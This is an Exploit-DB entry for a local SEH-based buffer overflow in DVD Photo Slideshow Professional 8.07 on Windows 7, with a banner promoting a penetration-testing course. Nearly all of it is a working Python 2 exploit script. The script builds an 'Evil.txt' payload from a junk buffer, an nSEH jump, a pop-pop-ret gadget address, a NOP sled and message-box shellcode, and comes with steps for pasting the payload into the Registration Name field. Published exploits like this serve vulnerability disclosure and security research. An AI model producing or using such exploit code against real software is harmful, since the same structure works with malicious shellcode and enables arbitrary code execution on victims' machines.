DVD Photo Slideshow Professional 8.07 - Buffer Overflow (SEH)

EDB-ID:

45346

CVE:

N/A


Author:

T3jv1l

Type:

local


Platform:

Windows

Date:

2018-09-07


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

# Exploit Title: DVD Photo Slideshow Professional  8.07 - Buffer Overflow (SEH)
# Date: 2018-09-06
# Exploit Author:T3jv1l
# Vendor Homepage:http://www.dvd-photo-slideshow.com/
# Software:www.dvd-photo-slideshow.com/dps_install.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: DVD Photo Slideshow Professional  8.07
# Tested on: Windows 7 SP1 x86
# Method Corelan Coder : https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/

#!/bin/python

print"""
#1.  Download and install the setup file
#2.  Run this exploit code via python 2.7
#3.  A file "Evil.txt" will be created
#4.  Click Help > Register... in tool bar
#5.  Copy the contents of the file (Evil.txt)and paste in the Registration Name field 
#6.  Click Activate and BOOMMMM !!!! """

import struct

junk_byte = "A" * 256
nseh = "\x90\x90\xeb\x10"
seh = struct.pack("<L",0x100152c9) # 0x100152c9 : pop edi # pop esi # ret
nop = "\x90" *24

#Windows - MessageBox + Null-Free Shellcode (113 bytes) : BrokenByte
 
buf = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")

crash = "T" * (4000 -len(junk_byte+nseh+seh+nop+buf))
exploit = junk_byte + nseh + seh + nop + buf + crash
try: 
    f=open("Evil.txt","w")
    f.write(exploit)
    f.close()
except:
   print "[+] File cannot be created"